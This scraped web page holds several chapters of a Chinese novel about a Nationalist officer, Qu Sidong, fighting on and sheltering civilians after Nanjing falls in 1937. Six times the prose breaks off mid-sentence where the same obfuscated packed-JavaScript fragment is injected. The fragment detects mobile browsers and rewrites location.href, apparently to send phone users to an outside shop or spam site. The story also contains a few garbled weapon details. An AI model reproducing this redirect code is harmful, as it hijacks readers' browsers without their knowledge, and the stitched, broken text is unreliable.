曲思冬跳到一处高坡上,对他的士兵喊道:“弟兄们,日本鬼子欺负到我们家门口了,他们要毁我们的家园,夺我们的土地,杀戮我们的亲人,如果我们还有一点血性的话,我们会让他们这么做吗?” 士兵们异口同声大声喊道:“不能!” 曲思冬继续大声道:“弟兄们,你们看看周围吧,我们的军队在撤离,不,是怯战!是畏战!那是在逃跑!这是懦夫行径,这是我们所有铁血男儿所不能容忍的!我们的兄弟姐妹把这么大的一座城交给我们守护,我们能逃跑吗?” 士兵们喊道:“不能!” 曲思冬继续大声道:“让我们拿起我们的枪,去和日本人血战到底!” 士兵们喊道:“血战到底!” 曲思冬顿了顿,接着道:“凡是家在南京的弟兄们跟我杀回去!家不在南京的弟兄赶紧跟着部队撤离,这是命令!” 一百多人的队伍跟着曲思冬在熙熙攘攘的人流中开始逆流而上。 他们都是清一色的南京子弟。 他们在人流的两侧疾跑。 目标——他们的阵地玄武门。 迎面而来的官兵,纷纷投来赞赏的目光。 …… 40分钟后,他们进入玄武门防御阵地。 他们在曲思冬的带领下,在玄武湖边快速地修建了简单的防御工事。 不管如何,曲思冬不能让日本人如入无人之地。 他必须让他们付出必要的代价。 13日这天下午,他们遭遇了从太平门外沿玄武湖急进的日本十六师团的三十三和三十八联队,他们在轻型装甲车的配合下,意图快速从城北迂回到下关江边,堵截撤退的中国官兵。 这是日本军队攻克南京后,唯一遭到的一次有规模的抵抗。 指挥官和士兵都是一色的南京人。 他们要为保卫南京的父老乡亲而战。 曲思冬的战略意图很清楚,他们主要是迟滞敌人的推进速度,为部队的撤离赢得时间。 受过三年专业军事训练的曲思冬明白,他们这一百多号人想阻止敌人的推进,是不可能的。他们唯一要做的是,不能便宜了敌人! 双方稍加接触,战斗旋即打响,两方都毫不迟疑。 这是一场力量对比悬殊的阻击战,日军装甲车随即开始扫射他们的阵地,接着是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259517|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫击炮齐射,不少炮弹落到玄武湖中,在湖面掀起一阵阵巨浪。 他们只有三挺捷克造ZB26轻机枪,其余的几乎都是步枪,重武器根本没有。 这样的战斗几乎是螳臂当车,或者说以卵击石。所以,曲思冬将阵地设在了湖边一块十多米的高坡上,高坡后面是一排老旧无人居住的房子,情况紧急时,完全可以凭借墙体的掩护迅速脱身。 可是,十多辆日本装甲车的炮弹将他们的阵地连同山坡旁的一排房子,无差异覆盖。 炮火纷飞,子弹在呼啸。 房屋成片成片的倒塌。阵地上火光冲天,大型掩体几乎被全部摧毁。第一轮炮火轰击后,他们已有接近二十名士兵死伤。 他们已不能全身而退。 日本人根本不想在这样一处小得不能再小的阵地上浪费太多的时间。 他们的战略意图就是在最短的时间进击到下关江边,截断中国士兵渡江北上的退路。 这是一场壮烈的阻击战! …… 半个多小时后,日军步兵跟着快速行驶的装甲 车,通过了他们的阵地。 曲思冬带着仅存的九名士兵,潜入了南京城。 …… 似乎就在一瞬间,南京城已经被日本人占领。 街上、巷子里、医院、学校、商场……到处都是清剿的日本士兵。日本人把这称为扫荡。 曲思冬带领的九名士兵,在当天至少和三股扫荡的日军发生遭遇,战斗自然难免,他们利用对地形的熟悉歼灭了十多名日本兵,但同时,他们也失去了六名弟兄。 当天夜里,他们躲进了汉中门桥的桥洞里过了一夜。第二天天刚放亮,他们就又潜进来,在暗处发现了一小队日军正在追赶一位少女,于是曲思冬悄悄爬上房顶,在他们欲对池橙非礼之际,用他的那把德国造毛瑟98K,果断结束了三名日本士兵的生命。 忘了补充一点,曲思冬是南京中央陆军军官学校第九期学员的射击冠军。 第8章 毛瑟98K 曲思冬手中的这把步枪就是毛瑟98K,7.92毫米口径。确切的说,是毛瑟98K狙击步枪,之所以称它为狙击步枪,是因为它自带6倍瞄准镜。 这把枪是他在总统卫队服役时,他的最高长官王世和少将赠予给他的。 王世和曾代表蒋总统,访问过德国。他前往德国的最高使命就是寻求一位德国军事顾问。接待他的叫塞克特,是一位德国退役元帅,这位德国普鲁士将军的儿子,在一战期间战功赫赫,在军中拥有无人可比的权威。塞克特后来确实成为了蒋介石的军事顾问,他提出的“军队为统治权之基础、军队之威力在于素质之优良、军队作战之潜能基于军官团教育培养”对蒋介石影响十分巨大。 王将军回国时,塞克特送给他的礼物之一,就是10支毛瑟98K狙击步枪。其中一支被他送给了曲思冬。 现在远在千里之外重庆的王世和根本没有想到,他送给曲思冬的这把狙击步枪,在南京沦陷后,正发挥着巨大的作用。 德国毛瑟兄弟设计的毛瑟98K枪机安全、简单、坚固和可靠,在枪机上有三个凸笋,两个在枪机头部,另一个在枪机尾部。它的另一个着名特征是它的拉壳钩,有一个结实、厚重的爪式拉壳钩在枪弹一离开弹仓时就立即抓住弹壳底缘,并牢固地控制住枪弹直到抛壳为止。此外,双排固定式弹仓是它的另一个特征,枪弹通过机匣顶部的抛壳口装入。装填子弹最快的方法就是用桥夹,每条桥夹装5发枪弹,刚好够装满一个弹仓。另外,它的枪管全部采用稀有金属合金,高温下不易变形,且保持一定的韧性……毛瑟98K在当时丝毫不逊于英国的李-恩菲尔德式,美国的M904A3春田式,苏联的莫辛—纳甘枪机。 毛瑟98K狙击步枪能确保在300m距离上击中目标头部,在600m距离上击中胸部。 五人一口气跑到了清凉山脚下,停下脚步。 其他三名士兵快速朝三个方向散开,隐身在大树后警戒。 曲思冬对池橙说:“你还是赶紧回家吧。” 池橙摇摇头。她对在家门口发生的那一幕直到现在还心有余悸。 池橙喃喃道:“我不敢回去。” 曲思冬有些犹豫说道:“我们还要打日本人,你跟着我们不合适,更不安全!” 池橙欲言又止,陷入沉思。 曲思冬率先打破沉默,对池橙说道:“我叫曲思冬,南京人,你呢?” 池橙应道:“我叫池橙。” 曲思冬又问:“你家里有什么人?” 池橙说:“我父母都在金陵图书馆工作,家里还有个奶奶。” 她想起了什么,继续道:“我爸妈早上出门时还特地叮嘱我,让我别乱跑,可是我没听他们的话……” 曲思冬说:“你父母发现你不见了,该多么着急!” 池橙不讲话了。 池橙此时心里清楚,如果跟着他们,会给他们接下来的行动带来太多的麻烦,但如果一个人回家,她又实在没有勇气。 曲思冬好像明白了她的心思,对她说:“这样,我单独把你送到你父母那儿吧。” 池橙感激地连连点头,可突然想起了什么,打量着曲思冬说道:“可你这身衣服……” 曲思冬知道她所说的是他穿的军服,在沿途会太招摇。 曲思冬吹了一声口哨,散布在数十米外的三名士兵闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259518|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声连忙快速地向他靠拢。 曲思冬对着一名皮肤黑里透红的高大士兵说道:“大军,你把包里的那套老百姓的衣服给我,我把池橙送到她父母那里。” 曲思冬眼光扫视了眼前的三名士兵,表情充满严肃道:“我走以后,你们就以此为活动半径,不要超过500米,两个小时以后我会回来。你们每个人必须设法找一套老百姓的衣着,我们不能再穿军装了。” 曲思冬指了指身前一棵二十多公分粗了松树继续说道:“如果有什么情况,你们在这棵树上刻上记号,横线,表示安全,竖线表示出现意外。如遇紧急情况,就什么也别刻,我会在天黑后在老地方等你们。” 曲思冬所说的老地方,就是汉中门桥的桥洞。 三名士兵异口同声应道:“是!” 他退去已穿了一个多星期的军官服,换上了老百姓的服装。 是一套黑色的长衫,曲思冬穿上它,看上去像是一个店铺老板。这时,他给自己想好的身份,正是一个药材店老板。 他把毛瑟狙击步枪递给大军,正色道:“陈大军,这把枪我现在交给你,你要像爱惜自己的生命一样爱惜它,不能有任何闪失,接下来,我们还得依靠它来消灭敌人。” 名叫陈大军的士兵,立即正了正身,简洁地答道:“是!” 日军的扫荡政策,是一种军事行动,是指采取封锁、围剿、隔离等扫荡手段来消灭另一方的残余兵力。抗战期间,日军对自己占领的区域就采取这种军事行动。日军扫荡最为酷烈的地区包括晋绥、晋冀鲁豫、晋察冀三个边区和山东区。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第9章 清凉山脱险 曲思冬带着池橙返回原地时,已不见陈大军他们。 这一来一去,前后不足半小时。 起先,曲思冬以为他们就在附近转悠,打了几声哨子,却迟迟不见他们出现。直到他想起他和三名士兵在松树前的约定,连忙走近松树。 松树距地一米高的地方,刻上了一条不甚整齐的竖线。这根刻线十来公分长,全新的刻痕,一看就是刚刻上去的,竖线尾部微微扬起,看得出刻划时很仓促。 池橙看到曲思冬面色凝重,就问:“他们会不会出事了?” 曲思冬没有马上回答,目光向四周搜索。 泥土地上一切如故,没有搏斗的痕迹。 曲思冬悬着的心稍稍放了下来。曲思冬想,也许他们去找老百姓的衣服去了。 但转念一想,又否定了这个念头。因为根据约定,只有出现意外,才可以刻上竖线。 曲思冬把目光投向池橙,说道:“他们一定有什么情况,此地不可久留!” 说完就牵起池橙的手,拉起她向清凉山南侧的一条小路跑去。 穿过马路时,他的目光向马路两侧看了看,果然情况不妙,从南京安全区方向正小跑而来一队搜索的日本士兵。 日本兵对清凉山这片区域的扫荡已经开始。 两个横穿马路的身影,已被日本人发现。 日本士兵嘴里喊叫什么,一边跑一边开始向他们开枪。 子弹在他们周围呼啸。 好在马路不是很宽,他们很快穿越了过去,进入了日本士兵的视线盲区。 曲思冬没有丝毫停下的意思,反而跑得更快了,池橙有点吃力,曲思冬就用力拽她,边跑边对池橙说,不要停,跟着我使劲跑。 清凉山南侧的这条小路,呈东北西南方向,马路的另一头,连接汉中门西侧南北向的马路。 曲思冬很快发现了问题的严重性。他听到前方不远处从汉中门方向传来的喧闹声。 他知道,前方也一定出现了日本军队。 是的,日本人的扫荡从来就是采取封锁、隔离与围剿相互结合。 如果再往前跑,很可能和正面的日军遭遇。 身后又有日本人的追兵。 手里无枪,心中发慌。曲思冬有些后悔把毛瑟步枪给了陈大军。有了那把狙击枪,自卫起码没有问题。 冷静,一定要冷静!曲思冬心中反复告诫自己。 敌人已把这片区域当成了狩猎场。 问题是他不是一个人,他还得保护池橙。 脚下出现一条弄堂,东西方向。曲思冬立即停下脚步,定了定神。所有的念头在脑海中一闪而过。 弄堂的西端应该连接到汉中门西侧的马路,也许敌人之间还有空隙,可问题是马路西侧是宽20多米的护城河,而护城河沿线,这附近只有一座汉中门桥,这个时候,汉中门桥一定有敌人驻守。 几秒钟之后,他就决定沿弄堂往东南方向。 他知道,他前往的这片区域日本人的活动应该比较频繁,但也有好处,那就是建筑物密集且地形复杂,最主要的是,前方这片区域,有被日本政府在战前就承认的国际安全区。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259519|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲思冬与池橙快速的向弄堂深处跑去,他们穿过一排又一排的房子,一口气跑了十来分钟,眼前视线一下子明亮起来,他们看到了一条宽阔的马路。 曲思冬看到马路对面一幢熟悉的建筑,是应天教会医院。 曲思冬想起了他的妹妹曲思秋。今年22岁的曲思秋医科毕业后,就一直服务于该教会医院。 应天教会医院是美国人创办的,紧邻美国驻华大使馆。 曲思冬知道南京国际安全区到了。 南京国际安全区划定的区域就有美国驻华大使馆和应天教会医院。 他们和很多其他中国人一样,在经历了一番东奔西突后,最后都无奈地选择了前来寻求它的庇护。 而这种庇护的可靠性,仅仅是建立在一些口头承诺或者一纸协议之上。 这样的庇护让曲思冬如鲠在喉,有种被羞辱的感觉。因为,他是一名中国军人!军人的职责就是保家卫国,可是他不但无法做到,甚至连自己都保护不了! 国已亡,山河破碎!偌大的南京已无他安身立命之处。 想到这里,曲思冬怒气难消。 他现在唯一想做的就是赶紧找到妹妹,把池橙托付给思秋。 他有很多事情要去做。 他必须很快找到自己的战友! 他迫切需要那把毛瑟98K狙击步枪! 他要为玄武湖畔捐躯的一百多名战友报仇! 他要让侵略者不得安宁,并为此付出沉重代价! 怨意可解,恨意难消!曲思冬心中布满的是咬牙切齿的恨! 第10章 国际安全区 曲思秋高挑的身材被曲思冬远远地一眼看到。 应天教会医院的楼下的空地上,架着五六口大锅,锅里盛满了热气腾腾的粥,锅前排着两列长长的队伍,尽是些老弱病残,他们纷纷举着手中的碗,目光充满期待。 安全区已沦为难民区。 队伍还在不断地变长。 教会医院的院长冯·玛丽女士正带着曲思秋等五人在给难民们振粥。 曲思秋清秀的脸庞上满是汗珠,脸上透着一丝温和的笑意,神情专注地忙碌着。 曲思冬和池橙走近人群。 曲思冬对池橙说:“你稍等下。” 他挤进人群,来到曲思秋身旁,喊道:“秋儿!” 曲思秋一回头看到了他,惊喜地喊叫起来,“……你怎么来了!” 她本来想喊他哥,但一瞬间她打住了。 曲思冬来过几次她们医院看过她,而且有不少工友都知道她哥哥是国军的少校营长。 曲思冬之所以要挤到人群里,靠近妹妹喊她,就是怕有人认出他来。妹妹的回话让他很满意,同时内心游过一丝骄傲,妹妹曲思秋已经不是他心目中的小孩了,遇事处理冷静得出乎他的意料。 思秋把手中的勺子递给工友,对他说:“小李,代我一下,我有点事。” 思秋欢快地拉着哥哥的手,跟着思冬走出人群。 一旁的池橙把这一幕尽收眼底,她看到曲思冬的手牵着一个漂亮女孩,心中突然有种失落和疼痛的感觉。 曲思冬把妹妹带到池橙身旁。 曲思冬指着池橙对妹妹介绍道:“这是池橙……” 话没说完,思秋一手拽住了他的耳朵,恶狠狠的说:“好你个曲思冬,你有了……竟然对我连招呼都不打!” 池橙看到眼前的这个女孩和曲思冬亲密无间的样子,心更疼了。她竟笑不出来,嘴里勉强挤出两个字:“你——好!” 曲思冬知道妹妹把眼前的女孩池橙当成了他的女朋友,就连忙辩解道:“你别乱想!” 池橙听到曲思冬的这句话,忽然心中充满绝望。 曲思冬根本没有在意池橙脸上阴云密布的表情,对池橙介绍道:“这位是曲思秋。” 说完他环顾了四周,压低了声音对池橙说:“她是我妹妹……” 其实,当他说出“曲思秋”三个字时,在池橙的意识里就疑虑重重,她的名字怎么会和曲思冬一字之差?还没来得及深想,曲思冬已经给了她答案…… 刹那间池橙的心情忽然就拨云见日、阳光万里! 她灿烂的笑着。 她迫不及待地去拉曲思秋的手。 她把曲思秋的手紧紧地攥着。 她想拥抱曲思秋。 她觉得眼前这个漂亮女孩,已经是她十分亲近的人了。 是的,爱情的建立一旦超越了生命的本质,甚至可以相互托付的时候,它是那么的牢不可破,尤其是在那个战火纷飞的年代。 所以,池橙毫不掩饰自己对曲思冬的爱慕,那是一种发祥于人性最初的,也是最本质的情感,纯净得没有一丝一毫的杂质! 曲思秋看到对方对自己如此亲密,以为对方只是作为未来的嫂子对自己的客套罢了,其实她根本就没有想到,这么短的时间内,在池橙的心中有着如此跌宕起伏心路历程。 曲思秋高兴地握着池橙的手,说道:“你好!” 曲思冬把妹妹拉到一个无人的地方,把发生的一切简短地告诉了她。 曲思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259520|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋关切的问:“那你现在怎么办?” 曲思冬回答:“我还要战斗!我要找到我的三名战友!” 思秋说:“可现在到处都是日本人……” 曲思冬没有接过她的话,想起另外一件事,对妹妹说道:“我把池橙交给你,你们互相照顾着,她已回不去了。” 思冬继续道:“我本来想把她送到她父母那里,可是到处是日本人,她一个人太危险!你有机会找人给她父母捎个信。” 思秋点点头。 思秋想起什么,忙问道:“哥,你有爸妈的消息吗?” 思冬摇了摇头。 曲思秋神色忧虑道:“日本人忙过这一阵,肯定会在城市附近扫荡的。” 思冬思索着说道:“大伯那里很偏僻,应该不会有事……过几天我想办法出城,去一趟。” 思秋怀疑地问:“你怎么出去?南京城所有的城门都有鬼子把守……” 思冬答道:“我会有办法的。” 思秋走过去拉着池橙的手,拉着她再次走到哥哥的身边,说道:“放心吧哥,我会照顾好她的。” 思冬有些不好意思,但他无心辩解。 思秋回头看了看振粥点,对池橙说:“你和我一起去帮忙吧。” 思冬接过话,说道:“我到里面转转。” 安全区已经人满为患。 安全区委员会成员多为德国人和美国人担任。西门子南京分公司经理拉贝任主席,上海保险公司南京分公司经理、金陵大学副校长、金陵大学教授等二十多人组成委员会。南京保卫战开始阶段,他们就通过《告南京市民书》呼吁市民进入安全区 躲避战乱。 这章没有结束,请点击下一页继续阅读! 第11章 神秘的纸条 曲思冬想找个地方把高翔安葬。可他不知道该把他安葬在何处。 他想起高翔往昔的音容笑貌,一时间悲伤难抑。 一个年过半百的义工看他一直在原地发愣,以为他正为不知如何处置发愁,就走到他的身前,关切的对他说:“安全区的西大门,有个停尸点,你把他送过去,自然会有人把他拉走。” 顿了顿,他补充道:“每天都会有人来拉尸体的,早晚两次。” 他看到曲思冬错愕的表情,接着说道:“这里每天都会死人,有病死了,有饿死的,还有战争受伤的士兵,再说,日本人每天都会进来抓人,尤其会抓一些当兵模样的……” 他上下扫了曲思冬一眼说:“你这种模样的,最容易被日本人误抓啦……小伙子,你可得当心啊!” 他滔滔不绝道:“就昨天一天,日本人就抓了一百多人,说他们是中国士兵!” 曲思冬不想再听下去,就打断了他的话,说道:“大叔,这个人我认识,他是和我从小一起长大的伙伴,我不想扔下他不管,我想把他找个地方埋了……” 轮到那位义工表情错愕。 沉默了好一会儿,他长长地叹了口气,嘴里反复道:“作孽呀,作孽呀……” 想了想他说:“西大门往西六七百米的清凉山,在山后有块地专门用来埋死人的。” 曲思冬感激地点点头。 义工忽然想起了什么,又道:“你还得到北大门金陵中学那里去开个路条,日本人在那里设了个点,到时会发给你一根白布条,你把它绑在袖子上就行了。” 曲思冬从路边找到一架木板拖车,把高翔抱起,轻轻地放了上去,在他看来,眼前的这个人还是有生命的,稍不小心就会弄疼他。 他得拉着他,先去北门,按义工所说的,去开个路条。 拖车破破烂烂,两只木轮已经变形,拉起来发出吱吱的响声,十分吃力。 他小心翼翼地拉着车,总怕幅度太大会让高翔从上面滚下来。 所以他一边拉着拖车,一边不时回头看看。 拉了一段路后他发现高翔的左手臂不知何时垂了下来。 他连忙停车,把拖车轻轻放下。拖车前重后轻,后面翘了起来,高翔的左手臂随着车后面的翘起,在空中抖了一下。 曲思冬突然看到他左手紧握的拳头,露出了一截纸条模样的东西。 曲思冬掰开他的手指,果然是一张纸条。 纸条上是两排黑色的钢笔字。 “新年将至,父母甚念,盼吾儿务必于腊月二十一日归家!父:国华。” 行书字体,笔锋苍劲有力。 看得出高翔的父亲有些学究。 可怜天下父母心! 可如今,斯者已逝,双方阴阳相隔! 想着想着,曲思冬的眼睛开始模糊。 他仿佛看到一位父亲痛失爱子的悲怆与苍凉…… 曲思冬的眼前浮现出高翔父亲的模样……曲思冬突然想起高翔的父亲他去年曾见过一面……那是去年夏天的事……当时高翔的父亲第一次来看高翔,并给他带了一大筐自家种的甜瓜……他们家在南京的郊区龙潭…… 那是一个个头不足一米七,衣服破旧,还打着补丁的老人……他完全是一个地地道道的农民! 曲思冬又想起高翔手中的那张纸条。 他有了结论,那张纸条绝不是他父亲写的,国华也不是他的父亲! 可是,那又会是谁写的呢?如果不是他父亲写的,那么这张纸条又怎么会在他手里呢?而且他至死都紧握着它? 曲思冬脑里一片混乱,怎么也理不出头绪,他强迫自己不去想它! 可不一会儿,他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259521|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不自觉的想起那两行字。 是啊,在这个寒冷而萧杀的冬日,南京城又有多少父母在挂念自己的孩子啊! 登记点设在金陵中学的操场上。 两个日本人、一个翻译、一个安全区委员会成员。他们负责审核并发放路条。 周围围了不少人。 曲思冬把板车搁在操场边上。 好不容易轮到曲思冬,他上前说明来意。 翻译就转述给日本人,日本人听后连连摇头,唧唧哇哇呵斥着曲思冬。 翻译是个南京人,快六十岁的样子,他告诉曲思冬:“太君让你把尸体直接扔到外面去。不可以去那么远的地方!” 曲思冬恨不得立即掏出枪把这俩鬼子都干掉。 他强压着心头的怒火,脸上陪着笑对日本人说道:“这可是我的亲哥哥!” 曲思冬的这句话经翻译后,俩鬼子脸色稍稍缓和。翻译这时对鬼子又补充了一番话,曲思冬明白那是中国翻译在表达自己的意思。一旁的安全区的委员是个美国女人,她似乎也在劝说着鬼子,果然,日本人终于同意了,递给曲思冬一张盖了章的纸条和一块白布条。 曲思冬把白布条系在手臂上,拉着高翔的尸体,艰难地向清凉山走去。 清凉山后山,已挖好了一个二十多米深的大坑。 十多个和曲思冬一样系着白布条的劳工正在忙碌着。 几个日本士兵持着枪在一 旁巡视。 坑的一边,尸体堆满如山。 曲思冬清楚,他不可能给高翔重新单独安葬。 这样也好,起码他不会孤单!曲思冬心想。 他找了一把铁锹,和人们一起劳作着。待坑完全挖好后,他小心翼翼地把高翔的身体扔进了巨大的坑道。 兄弟,你安息吧!我会来看你的! 第12章 寻人告示 曲思冬拉着板车拖着疲惫的身体返回安全区。 南京城夜色阑珊。 往日热闹的夜景已不复存在。 几个月前,这个时候,这里还是车水马龙,战争的阴云丝毫没有影响到达官贵人们一颗颗驿动的心。在金陵大学的大门口,时不时有小汽车载着漂亮的女生驶向灯红酒绿深处;而南侧数百米的金陵女子文理学院,它的小礼堂每晚会举办一场舞会,刮风下雨从未间断过,吸引着军界的中高层军官乐此不疲…… 如今,这些显贵的高官政要已不知所踪。 安全区西大门两侧的路灯已经点亮,昏暗的灯光显得有气无力,怎么也穿不透厚重的夜幕。 门的一侧,一块一人多高的告示牌前还围着不少人。 自从南京战端一开,这里就被贴满了形形色色的寻人启事,战祸已让多少家庭骨肉分离。 曲思冬走近人群,借着告示栏上方的一盏白炽灯…… 各种类型的纸张贴满了告示栏 有父母找孩子的,有孩子找父母的,有找同学,有找恋人的…… 曲思冬的眼光突然停在了紧挨着白炽灯下的一张五十公分见方的纸上! 他又看到了熟悉的文字。 和高翔手里的那张纸条的内容一模一样,连标点符号都没有改动。 “新年将至,父母甚念,盼吾儿务必于腊月二十一日归家!父:国华。” 只是字迹已不一样,这上面的字体歪歪斜斜,显然和高翔的那一张不是出自同一人之手。 曲思冬好奇心大起。 他的脑子快速地转动着。 如果这是一张普通的寻人启事,那么司令部的作战参谋手里为何有一张同样内容的字条? 他直到死为何还是紧握着不放? 它被贴在最高的地方,是怕被其它的覆盖吗? 这么大的纸张,是怕别人看不到吗? 看这条留言的纸张,是一种少见的厚白纸片,普通家庭根本不会有这么高档的纸! 他们要找的这个人到底是谁? 国华是一个人吗?国华——中国、中华,它是另有所指? 曲思冬脑子一阵发胀,没有人给他答案。 去应天教会医院的一路上,他的脑子里不断的更替着这内容一致、形态各异的两张字条。 应天教会医院住满了各式各样的病人。 连楼道的走廊都架着床铺。 曲思秋在巡视病房。池橙在盥洗室清洗纱布。 曲思冬首先找到了池橙。 池橙看到曲思冬,激动地迎了上去,略带责怪的说:“你去哪儿啦?我去找过你,可怎么也找不到,我和思秋担心死你了,怕你……怕你到处乱跑!” 短短一天时间不到,池橙和曲思冬已经熟悉得仿佛似多年深交的故人一样,亦或,她已把他当成了生命中不可或缺的另一半! 曲思冬看到池橙冻得通红的手,知道这位以前或许饱受父母溺爱的女孩,正在被突如其来的战争所洗礼,变得坚韧起来。 这时思秋也进来了。 她本来也是一肚子的关切,但听到池橙的话后,知道从今以后,会有人比她甚至他的父母更牵挂他的安危,就什么也没问,只是说:“思冬,还没吃饭吧,我给你留了两个馒头。” 思秋把他们带到自己住的地方,是一个集体宿舍,六人一房间。 思秋说,晚上池橙就和我挤一张床铺了。 思冬接过馒头。 思秋说:“听说明天日本人要进来彻底搜查。” 池橙说:“刚才在盥洗室听到有人议论,说日本人今天又在安全区杀人了。” 思冬面无表情接过话:“他们今天在文理学院前,杀死了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259522|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一个战友。” 池橙脸色一变,连忙问:“是陈大军他们?” 曲思冬摇摇头说:“我在城防司令部的另一名战友,也是我军校的校友。” 池橙不说话了,她不知道如何安慰思冬。 思冬喟叹道:“我和他俩人无话不谈,刚调到城防司令部时,我和他同住一个宿舍,要不一起下棋,要不就谈人生理想,常常谈到深夜……我把他拉到了清凉山,亲手把他埋了。” 思秋忽然挥舞了一下拳头:“哥,你别太难过,总有一天,我们会把这帮日本人赶出中国!” 思秋接着又道:“我们的民族,是一个不屈不挠的民族,而民众的觉醒之时,就是日本人溃败之际!” 思冬没想到妹妹说出这番话来安慰自己,异样地看了她一眼。 思秋被看得有些不好意思,就以进为退,提高声音:“曲思冬,你说我讲错了吗?请你别用那样的眼神看我!” 池橙插话道:“我如果是一个男孩子就好了,我也要拿枪杀敌!” 思秋连忙反驳她:“难道一个女孩子除了拿枪就不能报效国家了吗?国家危难的时候,除了上阵杀敌,还有太多的事情需要我们一起去做……” 思秋想顺着这个思路洋洋洒洒讲下去,不经意间看到思冬审视的目光,就忍住不说了。 思冬连忙道:“你讲啊,我很愿意听你继续说。” 思秋做 了个鬼脸说:“你叫我说我就说呀,我偏不说了,气死你!” 思冬看妹妹一露往昔调皮的本性,心情一下子好了起来。他把最后一块馒头塞进嘴里,将茶缸里一大半温水一饮而尽,一边下咽一边说:“我还得出去一下,我有事情要办,你们就别惦记我了。” 说完,思冬立起身,手顺势摸了一下腰带。 枪依旧在。 枪里有五发子弹。 第13章 子夜追踪 这一天,漫长而黑暗。 从安全区西大门出去,曲思冬三两步就隐身于对面街巷的黑暗中。 这条弄堂白天曲思冬曾走过,轻车驾熟。 弄堂孤寂无声,两边一排排的房子看不到灯光。 曲思冬现在要赶到汉中门桥,据约定,他必须守在第二个桥洞下面,等待陈大军他们。 或许,他们已经在那里等他了。 今天中午,短短半个多小时时间,他就和陈大军他们失去了联系。这让他心中一直忐忑不安,其中过程诡异而不可思议,尤其是刻在松树上那条竖线,翘起的尾部像一把鱼钩一样一直牵扯着他的思绪。 想着想着就又到了清凉山南侧的那条东北西南向的巷子。 白天他和池橙仓皇奔逃的那条巷子。 呼啸的子弹似乎还在他的耳畔回响。 曲思冬沿着这条巷子很快就抵达汉中门西侧的南北向的马路上。 他探出脑袋,细细查看一下马路南北,没有发现有什么异常。只是在汉中门桥的方向,隐约着灯光。 为了保险起见,他决定跨过马路。 曲思冬悄悄的潜入马路西侧的护城河的河床。沿着河床,可以直接到汉中门桥下。 时下护城河的水位很低,因为天气冷,河床的土被冻得结结实实,脚踩在上面,居然没有发出声响。 桥洞里空无一人。 昨天他留在第二个桥洞里的军用水壶和一些压缩食品罐头还在。看得出没有人来过。 曲思冬的带夜视功能的手表显示已经是九点多了,按道理这个时候,他们应该早回来了。 曲思冬的心失落到极点,一种不祥之感笼罩了他。 不管如何,曲思冬决定在桥洞里面过夜了。 他爬上桥洞的水泥横梁,坐在上面小憩。 